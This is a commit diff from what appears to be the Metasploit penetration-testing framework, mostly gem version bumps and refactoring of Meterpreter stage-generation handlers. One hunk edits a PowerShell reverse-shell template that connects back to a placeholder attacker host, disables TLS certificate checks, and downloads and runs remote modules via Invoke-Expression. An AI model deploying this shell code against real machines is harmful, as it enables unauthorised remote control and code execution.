Merge branch 'master' into land-5326-
This commit is contained in:
commit
c614f6059d
8
Gemfile
8
Gemfile
|
@ -8,7 +8,7 @@ group :coverage do
|
|||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
gem 'simplecov'
|
||||
end
|
||||
|
||||
group :db do
|
||||
|
@ -25,12 +25,8 @@ group :development do
|
|||
end
|
||||
|
||||
group :development, :test do
|
||||
# supplies factories for producing model instance for specs
|
||||
# Version 4.1.0 or newer is needed to support generate calls without the
|
||||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# automatically include factories from spec/factories
|
||||
gem 'factory_girl_rails'
|
||||
gem 'factory_girl_rails', '~> 4.5.0'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat', '1.2.1'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
|
|
240
Gemfile.lock
240
Gemfile.lock
|
@ -2,14 +2,14 @@ PATH
|
|||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.11.0.pre.dev)
|
||||
actionpack (>= 3.2.21, < 4.0.0)
|
||||
activesupport (>= 3.2.21, < 4.0.0)
|
||||
actionpack (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
bcrypt
|
||||
jsobfu (~> 0.2.0)
|
||||
json
|
||||
metasploit-concern (= 0.4.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit-payloads (= 0.0.3)
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
metasploit-payloads (= 0.0.5)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -21,10 +21,10 @@ PATH
|
|||
sqlite3
|
||||
tzinfo
|
||||
metasploit-framework-db (4.11.0.pre.dev)
|
||||
activerecord (>= 3.2.21, < 4.0.0)
|
||||
metasploit-credential (= 0.14.5)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
metasploit-credential (~> 1.0)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit_data_models (= 0.24.0)
|
||||
metasploit_data_models (~> 1.0)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
|
@ -34,148 +34,147 @@ PATH
|
|||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
actionmailer (3.2.21)
|
||||
actionpack (= 3.2.21)
|
||||
mail (~> 2.5.4)
|
||||
actionpack (3.2.21)
|
||||
activemodel (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
builder (~> 3.0.0)
|
||||
actionmailer (4.0.13)
|
||||
actionpack (= 4.0.13)
|
||||
mail (~> 2.5, >= 2.5.4)
|
||||
actionpack (4.0.13)
|
||||
activesupport (= 4.0.13)
|
||||
builder (~> 3.1.0)
|
||||
erubis (~> 2.7.0)
|
||||
journey (~> 1.0.4)
|
||||
rack (~> 1.4.5)
|
||||
rack-cache (~> 1.2)
|
||||
rack-test (~> 0.6.1)
|
||||
sprockets (~> 2.2.1)
|
||||
activemodel (3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.21)
|
||||
activemodel (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activeresource (3.2.21)
|
||||
activemodel (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
activesupport (3.2.21)
|
||||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.3)
|
||||
rack (~> 1.5.2)
|
||||
rack-test (~> 0.6.2)
|
||||
activemodel (4.0.13)
|
||||
activesupport (= 4.0.13)
|
||||
builder (~> 3.1.0)
|
||||
activerecord (4.0.13)
|
||||
activemodel (= 4.0.13)
|
||||
activerecord-deprecated_finders (~> 1.0.2)
|
||||
activesupport (= 4.0.13)
|
||||
arel (~> 4.0.0)
|
||||
activerecord-deprecated_finders (1.0.4)
|
||||
activesupport (4.0.13)
|
||||
i18n (~> 0.6, >= 0.6.9)
|
||||
minitest (~> 4.2)
|
||||
multi_json (~> 1.3)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo (~> 0.3.37)
|
||||
arel (4.0.2)
|
||||
arel-helpers (2.1.0)
|
||||
activerecord (>= 3.1.0, < 5)
|
||||
aruba (0.6.1)
|
||||
aruba (0.6.2)
|
||||
childprocess (>= 0.3.6)
|
||||
cucumber (>= 1.1.1)
|
||||
rspec-expectations (>= 2.7.0)
|
||||
bcrypt (3.1.10)
|
||||
builder (3.0.4)
|
||||
capybara (2.4.1)
|
||||
builder (3.1.4)
|
||||
capybara (2.4.4)
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
rack (>= 1.0.0)
|
||||
rack-test (>= 0.5.4)
|
||||
xpath (~> 2.0)
|
||||
childprocess (0.5.3)
|
||||
childprocess (0.5.5)
|
||||
ffi (~> 1.0, >= 1.0.11)
|
||||
coderay (1.1.0)
|
||||
cucumber (1.2.1)
|
||||
cucumber (1.3.19)
|
||||
builder (>= 2.1.2)
|
||||
diff-lcs (>= 1.1.3)
|
||||
gherkin (~> 2.11.0)
|
||||
json (>= 1.4.6)
|
||||
cucumber-rails (1.4.0)
|
||||
capybara (>= 1.1.2)
|
||||
cucumber (>= 1.2.0)
|
||||
nokogiri (>= 1.5.0)
|
||||
rails (>= 3.0.0)
|
||||
gherkin (~> 2.12)
|
||||
multi_json (>= 1.7.5, < 2.0)
|
||||
multi_test (>= 0.1.2)
|
||||
cucumber-rails (1.4.2)
|
||||
capybara (>= 1.1.2, < 3)
|
||||
cucumber (>= 1.3.8, < 2)
|
||||
mime-types (>= 1.16, < 3)
|
||||
nokogiri (~> 1.5)
|
||||
rails (>= 3, < 5)
|
||||
diff-lcs (1.2.5)
|
||||
docile (1.1.5)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.4.0)
|
||||
factory_girl (4.5.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.4.1)
|
||||
factory_girl (~> 4.4.0)
|
||||
factory_girl_rails (4.5.0)
|
||||
factory_girl (~> 4.5.0)
|
||||
railties (>= 3.0.0)
|
||||
ffi (1.9.3)
|
||||
ffi (1.9.8)
|
||||
fivemat (1.2.1)
|
||||
gherkin (2.11.6)
|
||||
json (>= 1.7.6)
|
||||
gherkin (2.12.2)
|
||||
multi_json (~> 1.3)
|
||||
hike (1.2.3)
|
||||
i18n (0.7.0)
|
||||
journey (1.0.4)
|
||||
jsobfu (0.2.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.2)
|
||||
mail (2.5.4)
|
||||
mime-types (~> 1.16)
|
||||
treetop (~> 1.4.8)
|
||||
metasploit-concern (0.4.0)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.14.5)
|
||||
metasploit-concern (= 0.4.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit_data_models (= 0.24.0)
|
||||
mail (2.6.3)
|
||||
mime-types (>= 1.16, < 3)
|
||||
metasploit-concern (1.0.0)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-credential (1.0.0)
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
metasploit_data_models (~> 1.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
railties
|
||||
rubyntlm
|
||||
rubyzip (~> 1.1)
|
||||
metasploit-model (0.29.2)
|
||||
activesupport
|
||||
railties (< 4.0.0)
|
||||
metasploit-payloads (0.0.3)
|
||||
metasploit_data_models (0.24.0)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
metasploit-model (1.0.0)
|
||||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (0.0.5)
|
||||
metasploit_data_models (1.0.1)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
arel-helpers
|
||||
metasploit-concern (= 0.4.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
postgres_ext
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
recog (~> 1.0)
|
||||
method_source (0.8.2)
|
||||
mime-types (1.25.1)
|
||||
mime-types (2.4.3)
|
||||
mini_portile (0.6.2)
|
||||
minitest (4.7.5)
|
||||
msgpack (0.5.11)
|
||||
multi_json (1.0.4)
|
||||
multi_json (1.11.0)
|
||||
multi_test (0.1.2)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.6.2)
|
||||
mini_portile (~> 0.6.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
pcaprub (0.12.0)
|
||||
pg (0.18.1)
|
||||
polyglot (0.3.5)
|
||||
pry (0.10.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (2.4.1)
|
||||
activerecord (>= 4.0.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.10.1)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
rack (1.4.5)
|
||||
rack-cache (1.2)
|
||||
rack (>= 0.4)
|
||||
rack-ssl (1.3.4)
|
||||
rack
|
||||
rack (1.5.2)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails (3.2.21)
|
||||
actionmailer (= 3.2.21)
|
||||
actionpack (= 3.2.21)
|
||||
activerecord (= 3.2.21)
|
||||
activeresource (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
bundler (~> 1.0)
|
||||
railties (= 3.2.21)
|
||||
railties (3.2.21)
|
||||
actionpack (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
rack-ssl (~> 1.3.2)
|
||||
rails (4.0.13)
|
||||
actionmailer (= 4.0.13)
|
||||
actionpack (= 4.0.13)
|
||||
activerecord (= 4.0.13)
|
||||
activesupport (= 4.0.13)
|
||||
bundler (>= 1.3.0, < 2.0)
|
||||
railties (= 4.0.13)
|
||||
sprockets-rails (~> 2.0)
|
||||
railties (4.0.13)
|
||||
actionpack (= 4.0.13)
|
||||
activesupport (= 4.0.13)
|
||||
rake (>= 0.8.7)
|
||||
rdoc (~> 3.4)
|
||||
thor (>= 0.14.6, < 2.0)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (10.4.2)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
recog (1.0.27)
|
||||
recog (1.0.29)
|
||||
nokogiri
|
||||
redcarpet (3.2.3)
|
||||
rkelly-remix (0.0.6)
|
||||
|
@ -184,12 +183,12 @@ GEM
|
|||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rspec-collection_matchers (1.0.0)
|
||||
rspec-collection_matchers (1.1.2)
|
||||
rspec-expectations (>= 2.99.0.beta1)
|
||||
rspec-core (2.99.1)
|
||||
rspec-core (2.99.2)
|
||||
rspec-expectations (2.99.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.99.2)
|
||||
rspec-mocks (2.99.3)
|
||||
rspec-rails (2.99.0)
|
||||
actionpack (>= 3.0)
|
||||
activemodel (>= 3.0)
|
||||
|
@ -201,28 +200,32 @@ GEM
|
|||
rspec-mocks (~> 2.99.0)
|
||||
rubyntlm (0.5.0)
|
||||
rubyzip (1.1.7)
|
||||
shoulda-matchers (2.6.2)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
shoulda-matchers (2.8.0)
|
||||
activesupport (>= 3.0.0)
|
||||
simplecov (0.9.2)
|
||||
docile (~> 1.1.0)
|
||||
multi_json (~> 1.0)
|
||||
simplecov-html (~> 0.9.0)
|
||||
simplecov-html (0.9.0)
|
||||
slop (3.6.0)
|
||||
sprockets (2.2.3)
|
||||
sprockets (2.12.3)
|
||||
hike (~> 1.2)
|
||||
multi_json (~> 1.0)
|
||||
rack (~> 1.0)
|
||||
tilt (~> 1.1, != 1.3.0)
|
||||
sprockets-rails (2.2.4)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
sprockets (>= 2.8, < 4.0)
|
||||
sqlite3 (1.3.10)
|
||||
thor (0.19.1)
|
||||
thread_safe (0.3.5)
|
||||
tilt (1.4.1)
|
||||
timecop (0.7.1)
|
||||
treetop (1.4.15)
|
||||
polyglot
|
||||
polyglot (>= 0.3.1)
|
||||
timecop (0.7.3)
|
||||
tzinfo (0.3.43)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.4)
|
||||
yard (0.8.7.6)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
@ -230,8 +233,7 @@ PLATFORMS
|
|||
DEPENDENCIES
|
||||
aruba
|
||||
cucumber-rails
|
||||
factory_girl (>= 4.1.0)
|
||||
factory_girl_rails
|
||||
factory_girl_rails (~> 4.5.0)
|
||||
fivemat (= 1.2.1)
|
||||
metasploit-framework!
|
||||
metasploit-framework-db!
|
||||
|
@ -242,6 +244,6 @@ DEPENDENCIES
|
|||
rspec (>= 2.12, < 3.0.0)
|
||||
rspec-rails (>= 2.12, < 3.0.0)
|
||||
shoulda-matchers
|
||||
simplecov (= 0.5.4)
|
||||
simplecov
|
||||
timecop
|
||||
yard
|
||||
|
|
|
@ -20,6 +20,7 @@ Bundler.require(
|
|||
#
|
||||
|
||||
# For compatibility with jquery-rails (and other engines that need action_view) in pro
|
||||
require 'action_controller/railtie'
|
||||
require 'action_view/railtie'
|
||||
|
||||
#
|
||||
|
@ -36,6 +37,15 @@ module Metasploit
|
|||
|
||||
config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
|
||||
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
|
||||
|
||||
case Rails.env
|
||||
when "development"
|
||||
config.eager_load = false
|
||||
when "test"
|
||||
config.eager_load = false
|
||||
when "production"
|
||||
config.eager_load = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,8 +10,9 @@ function Get-Webclient
|
|||
function powerfun
|
||||
{
|
||||
Param(
|
||||
[String]$Command,
|
||||
[String]$Download
|
||||
[String]$Command,
|
||||
[String]$Sslcon,
|
||||
[String]$Download
|
||||
)
|
||||
Process {
|
||||
$modules = @(MODULES_REPLACE)
|
||||
|
@ -25,19 +26,33 @@ function powerfun
|
|||
{
|
||||
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
|
||||
}
|
||||
|
||||
$stream = $client.GetStream()
|
||||
|
||||
if ($Sslcon -eq "true")
|
||||
{
|
||||
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
|
||||
$sslStream.AuthenticateAsClient("LHOST_REPLACE")
|
||||
$stream = $sslStream
|
||||
}
|
||||
|
||||
[byte[]]$bytes = 0..255|%{0}
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
if ($Download -eq "true")
|
||||
{
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
ForEach ($module in $modules)
|
||||
{
|
||||
(Get-Webclient).DownloadString($module)|Invoke-Expression
|
||||
}
|
||||
}
|
||||
}
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
|
||||
{
|
||||
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
|
||||
|
|
645
db/schema.rb
645
db/schema.rb
File diff suppressed because it is too large
Load Diff
|
@ -6,7 +6,7 @@ module Metasploit
|
|||
|
||||
# The Metasploit ecosystem is not ready for Rails 4 as it uses features of
|
||||
# Rails 3.X that are removed in Rails 4.
|
||||
RAILS_VERSION = [ '>= 3.2.21', '< 4.0.0' ]
|
||||
RAILS_VERSION = [ '>= 4.0.9', '< 4.1.0' ]
|
||||
end
|
||||
end
|
||||
end
|
|
@ -307,6 +307,8 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
|
||||
begin
|
||||
self.machine_id = self.core.machine_id(timeout)
|
||||
self.payload_uuid ||= self.core.uuid(timeout)
|
||||
|
||||
return true
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
# This meterpreter doesn't support core_machine_id
|
||||
|
@ -326,8 +328,8 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
begin
|
||||
::Timeout.timeout(60) do
|
||||
# Gather username/system information
|
||||
username = self.sys.config.getuid
|
||||
sysinfo = self.sys.config.sysinfo
|
||||
username = self.sys.config.getuid
|
||||
sysinfo = self.sys.config.sysinfo
|
||||
|
||||
safe_info = "#{username} @ #{sysinfo['Computer']}"
|
||||
safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding)
|
||||
|
|
|
@ -18,7 +18,6 @@ module MeterpreterOptions
|
|||
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
|
||||
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]),
|
||||
OptBool.new('StagerCloseListenSocket', [false, "Close the listen socket in the stager", false]),
|
||||
OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]),
|
||||
OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]),
|
||||
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]),
|
||||
|
|
|
@ -157,8 +157,6 @@ module Msf::DBManager::Host
|
|||
|
||||
if not addr.kind_of? ::Mdm::Host
|
||||
addr = normalize_host(addr)
|
||||
addr, scope = addr.split('%', 2)
|
||||
opts[:scope] = scope if scope
|
||||
|
||||
unless ipv46_validator(addr)
|
||||
raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}"
|
||||
|
|
|
@ -4,12 +4,23 @@ module Msf::DBManager::IPAddress
|
|||
end
|
||||
|
||||
def ipv4_validator(addr)
|
||||
return false unless addr.kind_of? String
|
||||
Rex::Socket.is_ipv4?(addr)
|
||||
if addr.try(:ipv4?)
|
||||
true
|
||||
elsif addr.kind_of? String
|
||||
Rex::Socket.is_ipv4?(addr)
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
def ipv6_validator(addr)
|
||||
Rex::Socket.is_ipv6?(addr)
|
||||
if addr.try(:ipv6?)
|
||||
true
|
||||
elsif addr.kind_of? String
|
||||
Rex::Socket.is_ipv6?(addr)
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
def rfc3330_reserved(ip)
|
||||
|
|
|
@ -95,7 +95,6 @@ module Msf::DBManager::Session
|
|||
if session.exploit.user_data_is_match?
|
||||
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
||||
match: session.exploit.user_data[:match],
|
||||
match_set: session.exploit.user_data[:match_set],
|
||||
run: session.exploit.user_data[:run],
|
||||
state: 'succeeded',
|
||||
)
|
||||
|
|
|
@ -90,7 +90,7 @@ module ReverseHopHttp
|
|||
ReverseHopHttp.hop_handlers[full_uri] = self
|
||||
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
|
||||
self) do |uri, hop_http|
|
||||
hop_http.send_new_stage # send stage to hop
|
||||
hop_http.send_new_stage(uri) # send stage to hop
|
||||
delay = 1 # poll delay
|
||||
# Continue to loop as long as at least one handler or one session is depending on us
|
||||
until hop_http.refs < 1 && hop_http.handlers.empty?
|
||||
|
@ -138,7 +138,7 @@ module ReverseHopHttp
|
|||
:ssl => false,
|
||||
})
|
||||
# send new stage to hop so next inbound session will get a unique ID.
|
||||
hop_http.send_new_stage
|
||||
hop_http.send_new_stage(uri)
|
||||
else
|
||||
hop_http.lock.unlock
|
||||
end
|
||||
|
@ -241,34 +241,27 @@ module ReverseHopHttp
|
|||
#
|
||||
# Generates and sends a stage up to the hop point to be ready for the next client
|
||||
#
|
||||
def send_new_stage
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
def send_new_stage(uri)
|
||||
# try to get the UUID out of the existing URI
|
||||
info = process_uri_resource(uri)
|
||||
uuid = info[:uuid] || Msf::Payload::UUID.new
|
||||
|
||||
# generate a new connect
|
||||
sum = uri_checksum_lookup(:connect)
|
||||
conn_id = generate_uri_uuid(sum, uuid)
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
|
||||
print_status("Preparing stage for next session #{conn_id}")
|
||||
blob = stage_payload
|
||||
#
|
||||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
|
||||
blob = encode_stage(blob)
|
||||
blob = stage_payload(
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
#send up
|
||||
crequest = mclient.request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => control,
|
||||
'data' => blob,
|
||||
'data' => encode_stage(blob),
|
||||
'headers' => {'X-init' => 'true'}
|
||||
)
|
||||
res = mclient.send_recv(crequest)
|
||||
|
|
|
@ -1,7 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/io/stream_abstraction'
|
||||
require 'rex/sync/ref'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/parser/x509_certificate'
|
||||
|
@ -324,27 +323,12 @@ protected
|
|||
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
|
||||
blob = obj.stage_payload
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
#
|
||||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
# generate the stage, but pass in the existing UUID and connection id so that
|
||||
# we don't get new ones generated.
|
||||
blob = obj.stage_payload(
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
|
|
|
@ -1,75 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'msf/core/payload/uuid_options'
|
||||
|
||||
module Msf
|
||||
|
||||
##
|
||||
#
|
||||
# Helper functionality for handling of stageless http(s) payloads
|
||||
#
|
||||
##
|
||||
|
||||
module Handler::ReverseHttp::Stageless
|
||||
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
include Msf::Payload::UUIDOptions
|
||||
|
||||
def initialize_stageless
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_stageless(opts={})
|
||||
unless opts[:generator]
|
||||
raise ArgumentError, "Stageless generation requires a generator argument"
|
||||
end
|
||||
|
||||
if opts[:ssl].nil?
|
||||
raise ArgumentError, "Stageless generation requires an ssl argument"
|
||||
end
|
||||
|
||||
host = datastore['LHOST']
|
||||
host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
|
||||
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
|
||||
|
||||
# Use the init_connect mode because we're stageless. This will force
|
||||
# MSF to generate a new URI when the first request is made.
|
||||
url << "#{generate_uri_uuid_mode(:init_connect)}/"
|
||||
|
||||
# invoke the given function to generate the architecture specific payload
|
||||
opts[:generator].call(url) do |dll|
|
||||
|
||||
verify_cert_hash = nil
|
||||
if opts[:ssl]
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
end
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
|
||||
:url => url,
|
||||
:ssl => opts[:ssl],
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -57,6 +57,8 @@ class Msf::ModuleSet < Hash
|
|||
# Notify any general subscribers of the creation event
|
||||
if instance
|
||||
self.framework.events.on_module_created(instance)
|
||||
else
|
||||
self.delete(reference_name)
|
||||
end
|
||||
|
||||
return instance
|
||||
|
@ -112,9 +114,7 @@ class Msf::ModuleSet < Hash
|
|||
def each_module_ranked(opts = {}, &block)
|
||||
demand_load_modules
|
||||
|
||||
self.mod_ranked = rank_modules
|
||||
|
||||
each_module_list(mod_ranked, opts, &block)
|
||||
each_module_list(rank_modules, opts, &block)
|
||||
end
|
||||
|
||||
# Forces all modules in this set to be loaded.
|
||||
|
@ -138,7 +138,6 @@ class Msf::ModuleSet < Hash
|
|||
self.architectures_by_module = {}
|
||||
self.platforms_by_module = {}
|
||||
self.mod_sorted = nil
|
||||
self.mod_ranked = nil
|
||||
self.mod_extensions = []
|
||||
|
||||
#
|
||||
|
@ -292,11 +291,6 @@ class Msf::ModuleSet < Hash
|
|||
#
|
||||
# @return [Hash{Class => Array<String>}] Maps module class to Array of platform Strings.
|
||||
attr_accessor :platforms_by_module
|
||||
# @!attribute [rw] mod_ranked
|
||||
# Array of module names and module classes ordered by their Rank with the higher Ranks first.
|
||||
#
|
||||
# @return (see #rank_modules)
|
||||
attr_accessor :mod_ranked
|
||||
# @!attribute [rw] mod_sorted
|
||||
# Array of module names and module classes ordered by their names.
|
||||
#
|
||||
|
@ -315,14 +309,7 @@ class Msf::ModuleSet < Hash
|
|||
# @return [Array<Array<String, Class>>] Array of arrays where the inner array is a pair of the module reference name
|
||||
# and the module class.
|
||||
def rank_modules
|
||||
self.mod_ranked = self.sort { |a_pair, b_pair|
|
||||
